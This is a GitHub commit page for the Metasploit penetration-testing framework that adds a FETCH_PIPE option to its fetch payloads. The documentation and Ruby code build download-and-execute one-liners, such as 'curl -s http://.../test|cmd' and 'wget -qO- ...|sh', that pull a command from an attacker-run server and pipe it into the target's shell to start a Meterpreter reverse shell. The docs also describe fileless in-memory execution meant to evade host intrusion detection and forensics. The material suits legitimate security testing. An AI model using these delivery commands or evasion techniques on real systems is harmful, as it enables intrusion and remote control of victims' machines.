Skip to content

Commit 4acef2b

Browse files
authored
Land rapid7#19997, PIPE_FETCH option for fetch payloads
Add PIPE_FETCH option to fetch payloads to make payloads shorter
2 parents 340b79a + 6b220ba commit 4acef2b

File tree

9 files changed

+166
-47
lines changed

9 files changed

+166
-47
lines changed

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md

Lines changed: 39 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ cURL, or Certutil.
2424

2525
## Organization
2626
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
27-
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
27+
HTTP, HTTPS, SMB, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
2828
remote host to download the served payload prior to execution.
2929

3030
Here is the naming convention for fetch payloads:
@@ -69,15 +69,36 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
6969
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
7070
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
7171
into more details on the binaries later.
72-
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
73-
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
72+
7473
`FETCH_SRVHOST` is the IP where the server will listen.
74+
7575
`FETCH_SRVPORT` is the port where the server will listen.
76+
7677
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
7778
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
7879
served payload is the same.
80+
81+
### Dependent Options
82+
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
83+
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
84+
two options: `bash` and `python3.8+`. Both of these require the target to be running Linux Kernel 3.17 or above.
85+
This option is only available when the platform is Linux.
86+
87+
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
88+
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
89+
This option is only available when `FETCH_FILELESS` is set to `none`
90+
91+
`FETCH_PIPE` is a binary flag that will create a second resource containing the original fetch command to run and then
92+
will produce a much shorter command to run on the host that will download the original fetch command and pipe it
93+
directly to the target's shell. Use this option if there is a limit on the command size as it will result in a much
94+
smaller original command. When set to true, the `FETCH_URIPATH` option is used for the pipe command resource uri and
95+
the default `FETCH_URIPATH`value is used for the original binary payload uri.
96+
This option is only available when the fetch transport is HTTP or HTTPS and the payload platform is Linux with the
97+
`FETCH_COMMAND` set to `CURL` or `WGET` or the platform is Windows and the `FETCH_COMMAND` is `CURL`
98+
7999
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
80-
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
100+
This value is not supported by all fetch binaries. If you set this value and it is not supported, it will generate an error.
101+
This option is only available when `FETCH_FILELESS` is set to `none`
81102

82103
The remaining options will be the options available to you in the served payload; in this case our served payload is
83104
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
@@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr
154175
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
155176
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
156177

178+
## Fetch Pipe
179+
If space is at a premium, you can use the `FETCH_PIPE` option. When using `FETCH_PIPE`, the fetch server hosts two
180+
resources: the original binary and then the generated fetch command. In the place of the original command, the command
181+
generated will be a much smaller command to download the original command and pipe it into the shell.
182+
The following example shows both the original command to download and execute the binary and the command to pipe the
183+
original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
184+
command to run on the target is significantly shorter.
185+
``` msf
186+
msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
187+
[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
188+
189+
[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
190+
```
191+
157192
## Using it in an exploit
158193
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
159194
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 79 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,11 @@ def initialize(*args)
1717
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
1818
]
1919
)
20-
@delete_resource = true
2120
@fetch_service = nil
2221
@myresources = []
2322
@srvexe = ''
23+
@pipe_uri = nil
24+
@pipe_cmd = nil
2425
@remote_destination_win = nil
2526
@remote_destination_nix = nil
2627
@windows = nil
@@ -32,7 +33,7 @@ def initialize(*args)
3233
# in Framework, and if the underlying payload type/host/port are the same, the URI
3334
# will be, too.
3435
#
35-
def default_srvuri
36+
def default_srvuri(extra_data = nil)
3637
# If we're in framework, payload is in datastore; msfvenom has it in refname
3738
payload_name = datastore['payload'] ||= refname
3839
decoded_uri = payload_name.dup
@@ -58,13 +59,18 @@ def default_srvuri
5859
end
5960
end
6061
decoded_uri << ";#{netloc}"
62+
decoded_uri << ";#{extra_data}" unless extra_data.nil?
6163
Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
6264
end
6365

6466
def download_uri
6567
"#{srvnetloc}/#{srvuri}"
6668
end
6769

70+
def _download_pipe
71+
"#{srvnetloc}/#{@pipe_uri}"
72+
end
73+
6874
def fetch_bindhost
6975
datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
7076
end
@@ -77,15 +83,45 @@ def fetch_bindnetloc
7783
Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
7884
end
7985

86+
def pipe_supported_binaries
87+
# this is going to expand when we add psh support
88+
return %w[CURL] if windows?
89+
%w[WGET CURL]
90+
end
91+
8092
def generate(opts = {})
8193
opts[:arch] ||= module_info['AdaptedArch']
8294
opts[:code] = super
8395
@srvexe = generate_payload_exe(opts)
84-
cmd = generate_fetch_commands
96+
if datastore['FETCH_PIPE']
97+
unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
98+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
99+
end
100+
@pipe_cmd = generate_fetch_commands
101+
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
102+
vprint_status("Command served: #{@pipe_cmd}")
103+
cmd = generate_pipe_command
104+
else
105+
cmd = generate_fetch_commands
106+
end
85107
vprint_status("Command to run on remote host: #{cmd}")
86108
cmd
87109
end
88110

111+
def generate_pipe_command
112+
# TODO: Make a check method that determines if we support a platform/server/command combination
113+
@pipe_uri = pipe_srvuri
114+
115+
case datastore['FETCH_COMMAND'].upcase
116+
when 'WGET'
117+
return _generate_wget_pipe
118+
when 'CURL'
119+
return _generate_curl_pipe
120+
else
121+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
122+
end
123+
end
124+
89125
def generate_fetch_commands
90126
# TODO: Make a check method that determines if we support a platform/server/command combination
91127
#
@@ -139,9 +175,16 @@ def srvport
139175
end
140176

141177
def srvuri
178+
# If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
179+
return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?
180+
181+
datastore['FETCH_URIPATH']
182+
end
183+
184+
def pipe_srvuri
142185
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
143186

144-
default_srvuri
187+
default_srvuri('pipe')
145188
end
146189

147190
def windows?
@@ -234,7 +277,6 @@ def _generate_certutil_command
234277
end
235278
_execute_add(get_file_cmd)
236279
end
237-
238280

239281
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
240282
def _generate_fileless(get_file_cmd)
@@ -281,6 +323,19 @@ def _generate_curl_command
281323
_execute_add(get_file_cmd)
282324
end
283325

326+
def _generate_curl_pipe
327+
execute_cmd = 'sh'
328+
execute_cmd = 'cmd' if windows?
329+
case fetch_protocol
330+
when 'HTTP'
331+
return "curl -s http://#{_download_pipe}|#{execute_cmd}"
332+
when 'HTTPS'
333+
return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
334+
else
335+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
336+
end
337+
end
338+
284339
def _generate_ftp_command
285340
case fetch_protocol
286341
when 'FTP'
@@ -342,6 +397,17 @@ def _generate_wget_command
342397
_execute_add(get_file_cmd)
343398
end
344399

400+
def _generate_wget_pipe
401+
case fetch_protocol
402+
when 'HTTPS'
403+
return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
404+
when 'HTTP'
405+
return "wget -qO- http://#{_download_pipe}|sh"
406+
else
407+
fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
408+
end
409+
end
410+
345411
def _remote_destination
346412
return _remote_destination_win if windows?
347413

@@ -353,15 +419,15 @@ def _remote_destination_nix
353419

354420
if datastore['FETCH_FILELESS'] != 'none'
355421
@remote_destination_nix = '$f'
356-
return @remote_destination_nix
422+
else
423+
writable_dir = datastore['FETCH_WRITABLE_DIR']
424+
writable_dir = '.' if writable_dir.blank?
425+
writable_dir += '/' unless writable_dir[-1] == '/'
426+
payload_filename = datastore['FETCH_FILENAME']
427+
payload_filename = srvuri if payload_filename.blank?
428+
payload_path = writable_dir + payload_filename
429+
@remote_destination_nix = payload_path
357430
end
358-
writable_dir = datastore['FETCH_WRITABLE_DIR']
359-
writable_dir = '.' if writable_dir.blank?
360-
writable_dir += '/' unless writable_dir[-1] == '/'
361-
payload_filename = datastore['FETCH_FILENAME']
362-
payload_filename = srvuri if payload_filename.blank?
363-
payload_path = writable_dir + payload_filename
364-
@remote_destination_nix = payload_path
365431
@remote_destination_nix
366432
end
367433

lib/msf/core/payload/adapter/fetch/http.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,23 @@ def initialize(*args)
1111

1212
def cleanup_handler
1313
if @fetch_service
14-
cleanup_http_fetch_service(@fetch_service, @delete_resource)
14+
cleanup_http_fetch_service(@fetch_service, @myresources)
1515
@fetch_service = nil
1616
end
1717

1818
super
1919
end
2020

2121
def setup_handler
22-
@fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
22+
unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_http_fetch_handler(srvname)
24+
escaped_uri = ('/' + srvuri).gsub('//', '/')
25+
add_resource(@fetch_service, escaped_uri, @srvexe)
26+
unless @pipe_uri.nil?
27+
uri = ('/' + @pipe_uri).gsub('//', '/')
28+
add_resource(@fetch_service, uri, @pipe_cmd)
29+
end
30+
end
2331
super
2432
end
25-
2633
end

lib/msf/core/payload/adapter/fetch/https.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,23 @@ def initialize(*args)
1111

1212
def cleanup_handler
1313
if @fetch_service
14-
cleanup_http_fetch_service(@fetch_service, @delete_resource)
14+
cleanup_http_fetch_service(@fetch_service, @myresources)
1515
@fetch_service = nil
1616
end
1717

1818
super
1919
end
2020

2121
def setup_handler
22-
@fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
22+
unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_https_fetch_handler(srvname)
24+
escaped_uri = ('/' + srvuri).gsub('//', '/')
25+
add_resource(@fetch_service, escaped_uri, @srvexe)
26+
unless @pipe_uri.nil?
27+
uri = ('/' + @pipe_uri).gsub('//', '/')
28+
add_resource(@fetch_service, uri, @pipe_cmd)
29+
end
30+
end
2331
super
2432
end
25-
2633
end

lib/msf/core/payload/adapter/fetch/linux_options.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,9 @@ def initialize(info = {})
55
[
66
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
77
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
8-
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
9-
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
8+
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'none']),
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL WGET]]),
10+
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'none'])
1011
]
1112
)
1213
end

lib/msf/core/payload/adapter/fetch/server/http.rb

Lines changed: 21 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -21,42 +21,44 @@ def srvname
2121

2222
def add_resource(fetch_service, uri, srvexe)
2323
vprint_status("Adding resource #{uri}")
24-
if fetch_service.resources.include?(uri)
24+
begin
25+
if fetch_service.resources.include?(uri)
26+
# When we clean up, we need to leave resources alone, because we never added one.
27+
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
28+
end
29+
fetch_service.add_resource(uri,
30+
'Proc' => proc do |cli, req|
31+
on_request_uri(cli, req, srvexe)
32+
end,
33+
'VirtualDirectory' => true)
34+
rescue ::Exception => e
2535
# When we clean up, we need to leave resources alone, because we never added one.
26-
@delete_resource = false
27-
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.")
36+
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
2837
end
29-
fetch_service.add_resource(uri,
30-
'Proc' => proc do |cli, req|
31-
on_request_uri(cli, req, srvexe)
32-
end,
33-
'VirtualDirectory' => true)
34-
rescue ::Exception => e
35-
# When we clean up, we need to leave resources alone, because we never added one.
36-
@delete_resource = false
37-
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}")
38+
@myresources << uri
3839
end
3940

40-
def cleanup_http_fetch_service(fetch_service, delete_resource)
41-
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
42-
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
43-
fetch_service.remove_resource(escaped_srvuri)
41+
def cleanup_http_fetch_service(fetch_service, my_resources)
42+
my_resources.each do |uri|
43+
if fetch_service.resources.include?(uri)
44+
fetch_service.remove_resource(uri)
45+
end
46+
4447
end
48+
4549
fetch_service.deref
4650
end
4751

48-
def start_http_fetch_handler(srvname, srvexe, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
52+
def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)
4953
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
5054
# middle and don't return a value, we still have the right fetch_service to clean up.
51-
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
5255
fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
5356
if fetch_service.nil?
5457
cleanup_handler
5558
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}")
5659
end
5760
vprint_status("#{fetch_protocol} server started")
5861
fetch_service.server_name = srvname
59-
add_resource(fetch_service, escaped_srvuri, srvexe)
6062
fetch_service
6163
end
6264

lib/msf/core/payload/adapter/fetch/server/https.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def ssl_version
4242
datastore['FetchSSLVersion']
4343
end
4444

45-
def start_https_fetch_handler(srvname, srvexe)
46-
start_http_fetch_handler(srvname, srvexe, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
45+
def start_https_fetch_handler(srvname)
46+
start_http_fetch_handler(srvname, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
4747
end
4848
end

lib/msf/core/payload/adapter/fetch/windows_options.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ def initialize(info = {})
66
[
77
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL TFTP CERTUTIL }]),
88
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}),
9+
Msf::OptBool.new('FETCH_PIPE', [true, 'Host both the binary payload and the command so it can be piped directly to the shell.', false], conditions: ['FETCH_COMMAND', 'in', %w[CURL]]),
910
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', '%TEMP%'], regex:/^[\S]*$/)
1011
]
1112
)

0 commit comments

Comments
 (0)